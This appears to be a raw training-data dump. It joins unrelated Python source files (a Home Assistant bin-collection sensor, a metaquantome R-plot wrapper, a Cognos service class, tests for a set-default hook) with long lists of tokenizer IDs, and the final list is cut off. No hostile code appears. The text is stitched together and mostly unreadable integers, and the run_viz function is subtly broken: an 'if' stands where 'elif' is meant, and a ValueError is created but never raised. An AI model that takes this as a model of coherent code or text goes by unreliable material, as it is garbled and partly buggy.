29881,
1839,
978,
2033,
1402,
13,
1678,
525,
5113,
29918,
3972,
2396,
11117,
2396,
525,
4351,
16675,
13,
1678,
525,
1990,
14903,
2396,
518,
13,
4706,
525,
21956,
358,
16034,
4761,
29871,
29945,
448,
19561,
29914,
855,
519,
742,
13,
4706,
525,
2928,
2760,
319,
4749,
663,
4761,
10682,
414,
742,
13,
4706,
525,
7094,
1218,
2184,
4761,
6570,
25266,
742,
13,
4706,
525,
9283,
4056,
17088,
4761,
5132,
742,
13,
4706,
525,
7031,
293,
4761,
18540,
14650,
4761,
365,
4626,
4314,
4761,
5132,
3382,
2540,
742,
13,
4706,
525,
29931,
293,
1947,
4761,
438,
5425,
28268,
1490,
4761,
350,
7230,
19245,
742,
13,
4706,
525,
29931,
293,
1947,
4761,
438,
5425,
28268,
1490,
4761,
15143,
9538,
470,
365,
16136,
4593,
5236,
19245,
313,
29931,
29954,
7390,
29897,
742,
13,
4706,
525,
29931,
293,
1947,
4761,
438,
5425,
28268,
1490,
4761,
15143,
4593,
5236,
19245,
313,
29954,
7390,
29897,
742,
13,
1678,
21251,
13,
1800,
13,
13,
14669,
29898,
1068,
29881,
29897,
13,
2
] |
bin_collection/sensor.py | davidjb/sensor.bin_collection | 0 | 88364 | <reponame>davidjb/sensor.bin_collection
import datetime
import voluptuous as vol
from homeassistant.core import callback
from homeassistant.components.sensor import PLATFORM_SCHEMA
from homeassistant.const import CONF_NAME, CONF_WEEKDAY, ATTR_DATE
import homeassistant.util.dt as dt_util
from homeassistant.helpers.event import async_track_point_in_utc_time
import homeassistant.helpers.config_validation as cv
from homeassistant.helpers.entity import Entity
from homeassistant.util import slugify
DOMAIN = 'sensor'
CONF_RECYCLING_EPOCH = 'recycling_epoch'
WASTE_ONLY = 'waste_only'
WASTE_AND_RECYCLING = 'waste_and_recycling'
BIN_COLLECTION_TYPES = {
WASTE_ONLY: 'Waste',
WASTE_AND_RECYCLING: 'Waste & Recycling',
}
BIN_COLLECTION_ICON = {
WASTE_ONLY: 'mdi:trash-can-outline',
WASTE_AND_RECYCLING: 'mdi:recycle',
}
DEFAULT_NAME = 'Next Bin Collection'
DEFAULT_ICON = 'mdi:trash-can-outline'
PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({
vol.Optional(CONF_RECYCLING_EPOCH, default=DEFAULT_NAME): cv.date,
vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string,
})
async def async_setup_platform(hass, config, async_add_entities,
discovery_info=None):
"""Setup the sensor platform."""
sensor_name = config.get(CONF_NAME)
recycling_epoch = config.get(CONF_RECYCLING_EPOCH)
sensors = [
NextBinCollectionSensor(hass, sensor_name, recycling_epoch),
NextBinCollectionDateSensor(hass, sensor_name, recycling_epoch),
]
for sensor in sensors:
async_track_point_in_utc_time(
hass, sensor.point_in_time_listener, sensor.get_next_interval())
async_add_entities(sensors, True)
class BaseNextBinCollectionSensor(Entity):
def __init__(self, hass, name, recycling_epoch):
"""Initialize the sensor."""
self.hass = hass
self._name = name
self._recycling_epoch = recycling_epoch
self._state = None
self._next_date = None
self._type = None
self._update_internal_state(dt_util.utcnow())
@property
def name(self):
"""Return the name of the sensor."""
return self._name
@property
def state(self):
"""Return the state of the sensor."""
return self._state
@property
def icon(self):
return BIN_COLLECTION_ICON.get(self._state, DEFAULT_ICON)
@property
def device_state_attributes(self):
return {
ATTR_DATE: self._next_date.isoformat(),
CONF_WEEKDAY: self._next_date.strftime('%A'),
}
def _update_internal_state(self, now):
from dateutil import relativedelta
today = dt_util.as_local(now).date()
bin_day = relativedelta.weekdays[self._recycling_epoch.weekday()]
self._next_date = \
today + relativedelta.relativedelta(weekday=bin_day)
# If next date is a factor of 2 weeks away from epoch, it is recycling
self._type = WASTE_AND_RECYCLING if \
((self._next_date - self._recycling_epoch).days / 7) % 2 == 0 \
else WASTE_ONLY
def get_next_interval(self, now=None):
"""Compute next time update should occur (eg first thing tomorrow)."""
if now is None:
now = dt_util.utcnow()
start_of_day = dt_util.start_of_local_day(dt_util.as_local(now))
return start_of_day + datetime.timedelta(days=1)
@callback
def point_in_time_listener(self, now):
"""Update state and schedule same listener to run again."""
self._update_internal_state(now)
self.async_schedule_update_ha_state()
async_track_point_in_utc_time(
self.hass, self.point_in_time_listener, self.get_next_interval())
class NextBinCollectionSensor(BaseNextBinCollectionSensor):
def _update_internal_state(self, now):
super()._update_internal_state(now)
type_readable = BIN_COLLECTION_TYPES[self._type]
today = dt_util.as_local(now).date()
difference = self._next_date - today
if (difference.days == 0):
humanisation = 'Today'
elif (difference.days == 1):
humanisation = 'Tomorrow'
else:
weekday = self._next_date.strftime('%A')
if (difference.days < 8):
humanisation = f'This {weekday}'
else:
humanisation = f'Next {weekday}'
self._state = f'{humanisation} ({type_readable})'
class NextBinCollectionDateSensor(BaseNextBinCollectionSensor):
def __init__(self, hass, name, recycling_epoch):
super().__init__(hass, name, recycling_epoch)
self.entity_id = f'{DOMAIN}.{slugify(name)}_date'
def _update_internal_state(self, now):
super()._update_internal_state(now)
self._state = self._next_date.isoformat()
| [
1,
529,
276,
1112,
420,
29958,
29881,
16093,
16761,
29914,
29879,
6073,
29889,
2109,
29918,
10855,
13,
5215,
12865,
13,
13,
5215,
1700,
21245,
17269,
408,
1700,
13,
13,
3166,
3271,
465,
22137,
29889,
3221,
1053,
6939,
13,
3166,
3271,
465,
22137,
29889,
14036,
29889,
29879,
6073,
1053,
16507,
1299,
19094,
29918,
29903,
3210,
26862,
13,
3166,
3271,
465,
22137,
29889,
3075,
1053,
8707,
29943,
29918,
5813,
29892,
8707,
29943,
29918,
8851,
29923,
29968,
28658,
29892,
15531,
5659,
29918,
6248,
13,
5215,
3271,
465,
22137,
29889,
4422,
29889,
6008,
408,
11636,
29918,
4422,
13,
3166,
3271,
465,
22137,
29889,
3952,
6774,
29889,
3696,
1053,
7465,
29918,
11294,
29918,
3149,
29918,
262,
29918,
329,
29883,
29918,
2230,
13,
5215,
3271,
465,
22137,
29889,
3952,
6774,
29889,
2917,
29918,
18157,
408,
13850,
13,
3166,
3271,
465,
22137,
29889,
3952,
6774,
29889,
10041,
1053,
14945,
13,
3166,
3271,
465,
22137,
29889,
4422,
1053,
2243,
688,
1598,
13,
13,
13,
3970,
29032,
353,
525,
29879,
6073,
29915,
13,
13,
6007,
29943,
29918,
1525,
29907,
29979,
6154,
4214,
29918,
29923,
13152,
3210,
353,
525,
276,
1270,
19914,
29918,
1022,
2878,
29915,
13,
13,
12982,
1254,
29923,
29918,
1164,
16786,
353,
525,
29893,
4350,
29918,
6194,
29915,
13,
12982,
1254,
29923,
29918,
9468,
29918,
1525,
29907,
29979,
6154,
4214,
353,
525,
29893,
4350,
29918,
392,
29918,
276,
1270,
19914,
29915,
13,
29933,
1177,
29918,
15032,
3281,
2725,
29918,
15631,
29925,
2890,
353,
426,
13,
1678,
399,
28938,
29923,
29918,
1164,
16786,
29901,
525,
29956,
4350,
742,
13,
1678,
399,
28938,
29923,
29918,
9468,
29918,
1525,
29907,
29979,
6154,
4214,
29901,
525,
29956,
4350,
669,
3599,
29891,
19914,
742,
13,
29913,
13,
29933,
1177,
29918,
15032,
3281,
2725,
29918,
2965,
1164,
353,
426,
13,
1678,
399,
28938,
29923,
29918,
1164,
16786,
29901,
525,
3487,
29875,
29901,
509,
1161,
29899,
3068,
29899,
449,
1220,
742,
13,
1678,
399,
28938,
29923,
29918,
9468,
29918,
1525,
29907,
29979,
6154,
4214,
29901,
525,
3487,
29875,
29901,
276,
23090,
742,
13,
29913,
13,
13,
23397,
29918,
5813,
353,
525,
9190,
27662,
14348,
29915,
13,
23397,
29918,
2965,
1164,
353,
525,
3487,
29875,
29901,
509,
1161,
29899,
3068,
29899,
449,
1220,
29915,
13,
13,
7390,
1299,
19094,
29918,
29903,
3210,
26862,
353,
16507,
1299,
19094,
29918,
29903,
3210,
26862,
29889,
21843,
3319,
13,
1678,
1700,
29889,
27636,
29898,
6007,
29943,
29918,
1525,
29907,
29979,
6154,
4214,
29918,
29923,
13152,
3210,
29892,
2322,
29922,
23397,
29918,
5813,
1125,
13850,
29889,
1256,
29892,
13,
1678,
1700,
29889,
27636,
29898,
6007,
29943,
29918,
5813,
29892,
2322,
29922,
23397,
29918,
5813,
1125,
13850,
29889,
1807,
29892,
13,
1800,
13,
13,
13,
12674,
822,
7465,
29918,
14669,
29918,
12120,
29898,
29882,
465,
29892,
2295,
29892,
7465,
29918,
1202,
29918,
296,
1907,
29892,
13,
462,
1669,
20699,
29918,
3888,
29922,
8516,
1125,
13,
1678,
9995,
26947,
278,
23530,
7481,
1213,
15945,
13,
1678,
23530,
29918,
978,
353,
2295,
29889,
657,
29898,
6007,
29943,
29918,
5813,
29897,
13,
1678,
1162,
29891,
19914,
29918,
1022,
2878,
353,
2295,
29889,
657,
29898,
6007,
29943,
29918,
1525,
29907,
29979,
6154,
4214,
29918,
29923,
13152,
3210,
29897,
13,
13,
1678,
4771,
943,
353,
518,
13,
4706,
8084,
29933,
262,
7196,
29903,
6073,
29898,
29882,
465,
29892,
23530,
29918,
978,
29892,
1162,
29891,
19914,
29918,
1022,
2878,
511,
13,
4706,
8084,
29933,
262,
7196,
2539,
29903,
6073,
29898,
29882,
465,
29892,
23530,
29918,
978,
29892,
1162,
29891,
19914,
29918,
1022,
2878,
511,
13,
1678,
4514,
13,
13,
1678,
363,
23530,
297,
4771,
943,
29901,
13,
4706,
7465,
29918,
11294,
29918,
3149,
29918,
262,
29918,
329,
29883,
29918,
2230,
29898,
13,
9651,
298,
465,
29892,
23530,
29889,
3149,
29918,
262,
29918,
2230,
29918,
25894,
29892,
23530,
29889,
657,
29918,
4622,
29918,
19207,
3101,
13,
13,
1678,
7465,
29918,
1202,
29918,
296,
1907,
29898,
23149,
943,
29892,
5852,
29897,
13,
13,
13,
1990,
7399,
9190,
29933,
262,
7196,
29903,
6073,
29898,
6691,
1125,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
298,
465,
29892,
1024,
29892,
1162,
29891,
19914,
29918,
1022,
2878,
1125,
13,
4706,
9995,
6644,
6646,
278,
23530,
1213,
15945,
13,
4706,
1583,
29889,
29882,
465,
353,
298,
465,
13,
4706,
1583,
3032,
978,
353,
1024,
13,
4706,
1583,
3032,
276,
1270,
19914,
29918,
1022,
2878,
353,
1162,
29891,
19914,
29918,
1022,
2878,
13,
13,
4706,
1583,
3032,
3859,
353,
6213,
13,
4706,
1583,
3032,
4622,
29918,
1256,
353,
6213,
13,
4706,
1583,
3032,
1853,
353,
6213,
13,
13,
4706,
1583,
3032,
5504,
29918,
7564,
29918,
3859,
29898,
6008,
29918,
4422,
29889,
329,
29883,
3707,
3101,
13,
13,
1678,
732,
6799,
13,
1678,
822,
1024,
29898,
1311,
1125,
13,
4706,
9995,
11609,
278,
1024,
310,
278,
23530,
1213,
15945,
13,
4706,
736,
1583,
3032,
978,
13,
13,
1678,
732,
6799,
13,
1678,
822,
2106,
29898,
1311,
1125,
13,
4706,
9995,
11609,
278,
2106,
310,
278,
23530,
1213,
15945,
13,
4706,
736,
1583,
3032,
3859,
13,
13,
1678,
732,
6799,
13,
1678,
822,
9849,
29898,
1311,
1125,
13,
4706,
736,
350,
1177,
29918,
15032,
3281,
2725,
29918,
2965,
1164,
29889,
657,
29898,
1311,
3032,
3859,
29892,
22236,
29918,
2965,
1164,
29897,
13,
13,
1678,
732,
6799,
13,
1678,
822,
4742,
29918,
3859,
29918,
15697,
29898,
1311,
1125,
13,
4706,
736,
426,
13,
9651,
15531,
5659,
29918,
6248,
29901,
1583,
3032,
4622,
29918,
1256,
29889,
10718,
4830,
3285,
13,
9651,
8707,
29943,
29918,
8851,
29923,
29968,
28658,
29901,
1583,
3032,
4622,
29918,
1256,
29889,
710,
615,
603,
877,
29995,
29909,
5477,
13,
4706,
500,
13,
13,
1678,
822,
903,
5504,
29918,
7564,
29918,
3859,
29898,
1311,
29892,
1286,
1125,
13,
4706,
515,
2635,
4422,
1053,
14215,
287,
2554,
13,
13,
4706,
9826,
353,
11636,
29918,
4422,
29889,
294,
29918,
2997,
29898,
3707,
467,
1256,
580,
13,
4706,
9016,
29918,
3250,
353,
14215,
287,
2554,
29889,
18448,
16700,
29961,
1311,
3032,
276,
1270,
19914,
29918,
1022,
2878,
29889,
18448,
3250,
580,
29962,
13,
4706,
1583,
3032,
4622,
29918,
1256,
353,
320,
13,
9651,
9826,
718,
14215,
287,
2554,
29889,
2674,
1926,
287,
2554,
29898,
18448,
3250,
29922,
2109,
29918,
3250,
29897,
13,
13,
4706,
396,
960,
2446,
2635,
338,
263,
7329,
310,
29871,
29906,
11405,
3448,
515,
21502,
305,
29892,
372,
338,
1162,
29891,
19914,
13,
4706,
1583,
3032,
1853,
353,
399,
28938,
29923,
29918,
9468,
29918,
1525,
29907,
29979,
6154,
4214,
565,
320,
13,
9651,
5135,
1311,
3032,
4622,
29918,
1256,
448,
1583,
3032,
276,
1270,
19914,
29918,
1022,
2878,
467,
16700,
847,
29871,
29955,
29897,
1273,
29871,
29906,
1275,
29871,
29900,
320,
13,
9651,
1683,
399,
28938,
29923,
29918,
1164,
16786,
13,
13,
1678,
822,
679,
29918,
4622,
29918,
19207,
29898,
1311,
29892,
1286,
29922,
8516,
1125,
13,
4706,
9995,
20606,
29872,
2446,
931,
2767,
881,
6403,
313,
387,
937,
2655,
6454,
22396,
467,
15945,
29908,
13,
4706,
565,
1286,
338,
6213,
29901,
13,
9651,
1286,
353,
11636,
29918,
4422,
29889,
329,
29883,
3707,
580,
13,
4706,
1369,
29918,
974,
29918,
3250,
353,
11636,
29918,
4422,
29889,
2962,
29918,
974,
29918,
2997,
29918,
3250,
29898,
6008,
29918,
4422,
29889,
294,
29918,
2997,
29898,
3707,
876,
13,
4706,
736,
1369,
29918,
974,
29918,
3250,
718,
12865,
29889,
9346,
287,
2554,
29898,
16700,
29922,
29896,
29897,
13,
13,
1678,
732,
14035,
13,
1678,
822,
1298,
29918,
262,
29918,
2230,
29918,
25894,
29898,
1311,
29892,
1286,
1125,
13,
4706,
9995,
6422,
2106,
322,
20410,
1021,
13254,
304,
1065,
1449,
1213,
15945,
13,
4706,
1583,
3032,
5504,
29918,
7564,
29918,
3859,
29898,
3707,
29897,
13,
4706,
1583,
29889,
12674,
29918,
816,
11272,
29918,
5504,
29918,
2350,
29918,
3859,
580,
13,
4706,
7465,
29918,
11294,
29918,
3149,
29918,
262,
29918,
329,
29883,
29918,
2230,
29898,
13,
9651,
1583,
29889,
29882,
465,
29892,
1583,
29889,
3149,
29918,
262,
29918,
2230,
29918,
25894,
29892,
1583,
29889,
657,
29918,
4622,
29918,
19207,
3101,
13,
13,
13,
1990,
8084,
29933,
262,
7196,
29903,
6073,
29898,
5160,
9190,
29933,
262,
7196,
29903,
6073,
1125,
13,
13,
1678,
822,
903,
5504,
29918,
7564,
29918,
3859,
29898,
1311,
29892,
1286,
1125,
13,
4706,
2428,
2141,
29918,
5504,
29918,
7564,
29918,
3859,
29898,
3707,
29897,
13,
13,
4706,
1134,
29918,
949,
519,
353,
350,
1177,
29918,
15032,
3281,
2725,
29918,
15631,
29925,
2890,
29961,
1311,
3032,
1853,
29962,
13,
13,
4706,
9826,
353,
11636,
29918,
4422,
29889,
294,
29918,
2997,
29898,
3707,
467,
1256,
580,
13,
4706,
4328,
353,
1583,
3032,
4622,
29918,
1256,
448,
9826,
13,
13,
4706,
565,
313,
29881,
17678,
29889,
16700,
1275,
29871,
29900,
1125,
13,
9651,
5199,
4371,
353,
525,
29911,
397,
388,
29915,
13,
4706,
25342,
313,
29881,
17678,
29889,
16700,
1275,
29871,
29896,
1125,
13,
9651,
5199,
4371,
353,
525,
21599,
22396,
29915,
13,
4706,
1683,
29901,
13,
9651,
4723,
3250,
353,
1583,
3032,
4622,
29918,
1256,
29889,
710,
615,
603,
877,
29995,
29909,
1495,
13,
9651,
565,
313,
29881,
17678,
29889,
16700,
529,
29871,
29947,
1125,
13,
18884,
5199,
4371,
353,
285,
29915,
4013,
426,
18448,
3250,
10162,
13,
9651,
1683,
29901,
13,
18884,
5199,
4371,
353,
285,
29915,
9190,
426,
18448,
3250,
10162,
13,
13,
4706,
1583,
3032,
3859,
353,
285,
29915,
29912,
26029,
4371,
29913,
21313,
1853,
29918,
949,
519,
1800,
29915,
13,
13,
13,
1990,
8084,
29933,
262,
7196,
2539,
29903,
6073,
29898,
5160,
9190,
29933,
262,
7196,
29903,
6073,
1125,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
298,
465,
29892,
1024,
29892,
1162,
29891,
19914,
29918,
1022,
2878,
1125,
13,
4706,
2428,
2141,
1649,
2344,
12035,
29882,
465,
29892,
1024,
29892,
1162,
29891,
19914,
29918,
1022,
2878,
29897,
13,
4706,
1583,
29889,
10041,
29918,
333,
353,
285,
29915,
29912,
3970,
29032,
1836,
29912,
29517,
1598,
29898,
978,
29897,
2403,
1256,
29915,
13,
13,
1678,
822,
903,
5504,
29918,
7564,
29918,
3859,
29898,
1311,
29892,
1286,
1125,
13,
4706,
2428,
2141,
29918,
5504,
29918,
7564,
29918,
3859,
29898,
3707,
29897,
13,
4706,
1583,
3032,
3859,
353,
1583,
3032,
4622,
29918,
1256,
29889,
10718,
4830,
580,
13,
2
] |
metaquantome/modules/run_viz.py | jj-umn/metaquantome | 4 | 23292 | import os
import subprocess
import json
from metaquantome.util.utils import BASE_DIR
from metaquantome.classes.SampleGroups import SampleGroups
def run_viz(plottype, img, infile, strip=None,
mode=None, meancol=None, nterms='5', target_rank=None, barcol=6, # barplot, stacked_bar
textannot=None, fc_name=None, fc_corr_p=None, flip_fc=False, gosplit=False, # volcano
sinfo=None, filter_to_sig=False, alpha='0.05', # heatmap
calculate_sep=False, # pca
whichway=None, name=None, id=None, target_onto=None, # ft_dist
width='5', height='5', tabfile=None, feature_cluster_size=2, sample_cluster_size=2):
"""
Wrapper script for the command-line R visualizations
The documentation for each of the arguments is in cli.py
:return: None
"""
r_script_path = os.path.join(BASE_DIR, 'modules', 'viz.R')
cmd = ['Rscript', '--vanilla', r_script_path, plottype, img, infile]
if plottype == "bar":
cmd += [mode, meancol, nterms, width, height, target_rank, target_onto, barcol, tabfile]
elif plottype == "volcano":
cmd += [str(textannot), fc_name, fc_corr_p, flip_fc, gosplit, width, height, tabfile]
elif plottype == "heatmap":
samp_grps = SampleGroups(sinfo)
all_intcols_str = ','.join(samp_grps.all_intcols)
json_dump = json.dumps(samp_grps.sample_names)
cmd += [all_intcols_str, json_dump, filter_to_sig, alpha, width, height, strip, feature_cluster_size, sample_cluster_size, fc_corr_p]
elif plottype == "pca":
samp_grps = SampleGroups(sinfo)
all_intcols_str = ','.join(samp_grps.all_intcols)
json_dump = json.dumps(samp_grps.sample_names)
cmd += [all_intcols_str, json_dump, calculate_sep, width, height, strip]
elif plottype == "ft_dist":
cmd += [whichway, name, id, meancol, nterms, width, height,
target_rank, target_onto, barcol, tabfile]
if plottype == "stacked_bar":
samp_grps = SampleGroups(sinfo)
all_intcols_str = ','.join(samp_grps.all_intcols)
json_dump = json.dumps(samp_grps.sample_names)
cmd += [all_intcols_str, json_dump, nterms, target_rank, width, height, tabfile]
else:
ValueError("Wrong plot type. Must be bar, volcano, heatmap, ft_dist, stacked_bar, or pca.")
# ensure that all elements are strings (even booleans, etc)
cmd_string = [str(elem) for elem in cmd]
# run the visualizations, suppressing any output to stdout
with open(os.devnull, 'w') as fnull:
subprocess.run(cmd_string, stdout=fnull, check=True)
| [
1,
1053,
2897,
13,
5215,
1014,
5014,
13,
5215,
4390,
13,
13,
3166,
12700,
12150,
608,
29889,
4422,
29889,
13239,
1053,
350,
8127,
29918,
9464,
13,
3166,
12700,
12150,
608,
29889,
13203,
29889,
17708,
24020,
1053,
21029,
24020,
13,
13,
13,
1753,
1065,
29918,
29894,
466,
29898,
572,
1501,
668,
29892,
10153,
29892,
297,
1445,
29892,
17820,
29922,
8516,
29892,
13,
9651,
4464,
29922,
8516,
29892,
2099,
1054,
29922,
8516,
29892,
302,
357,
1516,
2433,
29945,
742,
3646,
29918,
10003,
29922,
8516,
29892,
2594,
1054,
29922,
29953,
29892,
29871,
396,
2594,
5317,
29892,
5096,
287,
29918,
1646,
13,
9651,
1426,
6735,
29922,
8516,
29892,
285,
29883,
29918,
978,
29922,
8516,
29892,
285,
29883,
29918,
29725,
29918,
29886,
29922,
8516,
29892,
285,
3466,
29918,
13801,
29922,
8824,
29892,
330,
359,
2830,
29922,
8824,
29892,
29871,
396,
1700,
26004,
13,
9651,
269,
3888,
29922,
8516,
29892,
4175,
29918,
517,
29918,
18816,
29922,
8824,
29892,
15595,
2433,
29900,
29889,
29900,
29945,
742,
29871,
396,
12871,
1958,
13,
9651,
8147,
29918,
19570,
29922,
8824,
29892,
29871,
396,
282,
1113,
13,
9651,
607,
1582,
29922,
8516,
29892,
1024,
29922,
8516,
29892,
1178,
29922,
8516,
29892,
3646,
29918,
10268,
29922,
8516,
29892,
396,
11791,
29918,
5721,
13,
9651,
2920,
2433,
29945,
742,
3171,
2433,
29945,
742,
4434,
1445,
29922,
8516,
29892,
4682,
29918,
19594,
29918,
2311,
29922,
29906,
29892,
4559,
29918,
19594,
29918,
2311,
29922,
29906,
1125,
13,
1678,
9995,
13,
1678,
399,
6794,
2471,
363,
278,
1899,
29899,
1220,
390,
7604,
17063,
13,
1678,
450,
5106,
363,
1269,
310,
278,
6273,
338,
297,
9335,
29889,
2272,
13,
13,
1678,
584,
2457,
29901,
6213,
13,
1678,
9995,
13,
1678,
364,
29918,
2154,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
25416,
29918,
9464,
29892,
525,
7576,
742,
525,
29894,
466,
29889,
29934,
1495,
13,
1678,
9920,
353,
6024,
29934,
2154,
742,
525,
489,
3703,
2911,
742,
364,
29918,
2154,
29918,
2084,
29892,
715,
1501,
668,
29892,
10153,
29892,
297,
1445,
29962,
13,
1678,
565,
715,
1501,
668,
1275,
376,
1646,
1115,
13,
4706,
9920,
4619,
518,
8513,
29892,
2099,
1054,
29892,
302,
357,
1516,
29892,
2920,
29892,
3171,
29892,
3646,
29918,
10003,
29892,
3646,
29918,
10268,
29892,
2594,
1054,
29892,
4434,
1445,
29962,
13,
1678,
25342,
715,
1501,
668,
1275,
376,
1555,
26004,
1115,
13,
4706,
9920,
4619,
518,
710,
29898,
726,
6735,
511,
285,
29883,
29918,
978,
29892,
285,
29883,
29918,
29725,
29918,
29886,
29892,
285,
3466,
29918,
13801,
29892,
330,
359,
2830,
29892,
2920,
29892,
3171,
29892,
4434,
1445,
29962,
13,
1678,
25342,
715,
1501,
668,
1275,
376,
354,
271,
1958,
1115,
13,
4706,
269,
1160,
29918,
629,
567,
353,
21029,
24020,
29898,
29879,
3888,
29897,
13,
4706,
599,
29918,
524,
22724,
29918,
710,
353,
13420,
4286,
7122,
29898,
29879,
1160,
29918,
629,
567,
29889,
497,
29918,
524,
22724,
29897,
13,
4706,
4390,
29918,
15070,
353,
4390,
29889,
29881,
17204,
29898,
29879,
1160,
29918,
629,
567,
29889,
11249,
29918,
7039,
29897,
13,
4706,
9920,
4619,
518,
497,
29918,
524,
22724,
29918,
710,
29892,
4390,
29918,
15070,
29892,
4175,
29918,
517,
29918,
18816,
29892,
15595,
29892,
2920,
29892,
3171,
29892,
17820,
29892,
4682,
29918,
19594,
29918,
2311,
29892,
4559,
29918,
19594,
29918,
2311,
29892,
285,
29883,
29918,
29725,
29918,
29886,
29962,
13,
1678,
25342,
715,
1501,
668,
1275,
376,
29886,
1113,
1115,
13,
4706,
269,
1160,
29918,
629,
567,
353,
21029,
24020,
29898,
29879,
3888,
29897,
13,
4706,
599,
29918,
524,
22724,
29918,
710,
353,
13420,
4286,
7122,
29898,
29879,
1160,
29918,
629,
567,
29889,
497,
29918,
524,
22724,
29897,
13,
4706,
4390,
29918,
15070,
353,
4390,
29889,
29881,
17204,
29898,
29879,
1160,
29918,
629,
567,
29889,
11249,
29918,
7039,
29897,
13,
4706,
9920,
4619,
518,
497,
29918,
524,
22724,
29918,
710,
29892,
4390,
29918,
15070,
29892,
8147,
29918,
19570,
29892,
2920,
29892,
3171,
29892,
17820,
29962,
13,
1678,
25342,
715,
1501,
668,
1275,
376,
615,
29918,
5721,
1115,
13,
4706,
9920,
4619,
518,
4716,
1582,
29892,
1024,
29892,
1178,
29892,
2099,
1054,
29892,
302,
357,
1516,
29892,
2920,
29892,
3171,
29892,
13,
18884,
3646,
29918,
10003,
29892,
3646,
29918,
10268,
29892,
2594,
1054,
29892,
4434,
1445,
29962,
13,
1678,
565,
715,
1501,
668,
1275,
376,
1429,
287,
29918,
1646,
1115,
13,
4706,
269,
1160,
29918,
629,
567,
353,
21029,
24020,
29898,
29879,
3888,
29897,
13,
4706,
599,
29918,
524,
22724,
29918,
710,
353,
13420,
4286,
7122,
29898,
29879,
1160,
29918,
629,
567,
29889,
497,
29918,
524,
22724,
29897,
13,
4706,
4390,
29918,
15070,
353,
4390,
29889,
29881,
17204,
29898,
29879,
1160,
29918,
629,
567,
29889,
11249,
29918,
7039,
29897,
13,
4706,
9920,
4619,
518,
497,
29918,
524,
22724,
29918,
710,
29892,
4390,
29918,
15070,
29892,
302,
357,
1516,
29892,
3646,
29918,
10003,
29892,
2920,
29892,
3171,
29892,
4434,
1445,
29962,
13,
1678,
1683,
29901,
13,
4706,
7865,
2392,
703,
29956,
29373,
6492,
1134,
29889,
19928,
367,
2594,
29892,
1700,
26004,
29892,
12871,
1958,
29892,
11791,
29918,
5721,
29892,
5096,
287,
29918,
1646,
29892,
470,
282,
1113,
23157,
13,
1678,
396,
9801,
393,
599,
3161,
526,
6031,
313,
11884,
1045,
1772,
550,
29892,
2992,
29897,
13,
1678,
9920,
29918,
1807,
353,
518,
710,
29898,
20461,
29897,
363,
21268,
297,
9920,
29962,
13,
13,
1678,
396,
1065,
278,
7604,
17063,
29892,
21301,
292,
738,
1962,
304,
27591,
13,
1678,
411,
1722,
29898,
359,
29889,
3359,
4304,
29892,
525,
29893,
1495,
408,
285,
4304,
29901,
13,
4706,
1014,
5014,
29889,
3389,
29898,
9006,
29918,
1807,
29892,
27591,
29922,
29888,
4304,
29892,
1423,
29922,
5574,
29897,
13,
13,
2
] |
CognosService.py | gbryant-dev/CApy | 0 | 176027 | <reponame>gbryant-dev/CApy
from GroupService import GroupService
from RESTService import RESTService
from UserService import UserService
class CognosService:
def __init__(self, **kwargs) -> None:
self._cognos_rest = RESTService(**kwargs)
self.groups = GroupService(self._cognos_rest)
self.users = UserService(self._cognos_rest) | [
1,
529,
276,
1112,
420,
29958,
26300,
719,
424,
29899,
3359,
29914,
5454,
2272,
13,
3166,
6431,
3170,
1053,
6431,
3170,
13,
3166,
16759,
3170,
1053,
16759,
3170,
13,
3166,
4911,
3170,
1053,
4911,
3170,
13,
13,
1990,
315,
3811,
359,
3170,
29901,
13,
13,
29871,
822,
4770,
2344,
12035,
1311,
29892,
3579,
19290,
29897,
1599,
6213,
29901,
13,
418,
1583,
3032,
29883,
3811,
359,
29918,
5060,
353,
16759,
3170,
29898,
1068,
19290,
29897,
13,
418,
1583,
29889,
13155,
353,
6431,
3170,
29898,
1311,
3032,
29883,
3811,
359,
29918,
5060,
29897,
13,
418,
1583,
29889,
7193,
353,
4911,
3170,
29898,
1311,
3032,
29883,
3811,
359,
29918,
5060,
29897,
2
] |
tests/test_hooks.py | 647-coder/Thrall | 6 | 166594 | <reponame>647-coder/Thrall
# coding: utf-8
# flake8: noqa
from thrall.hooks import _SetDefault, _SetDefaultWithParams, SetD
class TestSetDefault(object):
@_SetDefault
def mock(self, **kwargs):
return kwargs
@_SetDefault
def mock2(self, a=1, b=2):
return a, b
def test_set_ok(self):
self.mock.set_default(a=1, b=2)
r = self.mock(c=3)
assert r['a'] == 1
assert r['b'] == 2
assert r['c'] == 3
def test_set_default_ok(self):
self.mock.set_default(a=1, b=3)
r = self.mock(a=3)
assert r['a'] == 3
assert r['b'] == 3
def test_series_ok(self):
self.mock.set_default(a=1)
r = self.mock(a=3)
assert r['a'] == 3
assert r.get('b') == 3
def test_kwargs_override_ok(self):
self.mock2.set_default(a=3)
r = self.mock2(b=2)
assert r == (3, 2)
def test_outside_ok():
@_SetDefault
def mock(a=1, b=2):
return a, b
mock.set_default(a=3)
r = mock(a=2, b=2)
assert r == (2, 2)
class TestSetDefaultWithParams(object):
@_SetDefaultWithParams(a=1)
def mock(self, **kwargs):
return kwargs
def test_set_ok(self):
r = self.mock(b=2)
assert r['a'] == 1
assert r['b'] == 2
def test_set_default_ok(self):
r = self.mock(a=2, b=2)
assert r['a'] == 2
assert r['b'] == 2
def test_tests(self):
r = self.mock()
assert r['a'] == 1
assert r.get('b') is None
class TestSetD(object):
def test_no_params(self, mocker):
mocker.spy(_SetDefault, '__init__')
mocker.spy(_SetDefault, '__call__')
mocker.spy(_SetDefaultWithParams, '__init__')
mocker.spy(_SetDefaultWithParams, '__call__')
@SetD
def mock(**kwargs): pass
mock(a=1)
assert _SetDefault.__init__.call_count == 1
assert _SetDefault.__call__.call_count == 1
assert _SetDefaultWithParams.__init__.call_count == 0
assert _SetDefaultWithParams.__call__.call_count == 0
def test_wth_params(self, mocker):
mocker.spy(_SetDefault, '__init__')
mocker.spy(_SetDefault, '__call__')
mocker.spy(_SetDefaultWithParams, '__init__')
mocker.spy(_SetDefaultWithParams, '__call__')
@SetD(a=1)
def mock(**kwargs): pass
mock(a=2)
assert _SetDefault.__init__.call_count == 0
assert _SetDefault.__call__.call_count == 0
assert _SetDefaultWithParams.__init__.call_count == 1
assert _SetDefaultWithParams.__call__.call_count == 1
| [
1,
529,
276,
1112,
420,
29958,
29953,
29946,
29955,
29899,
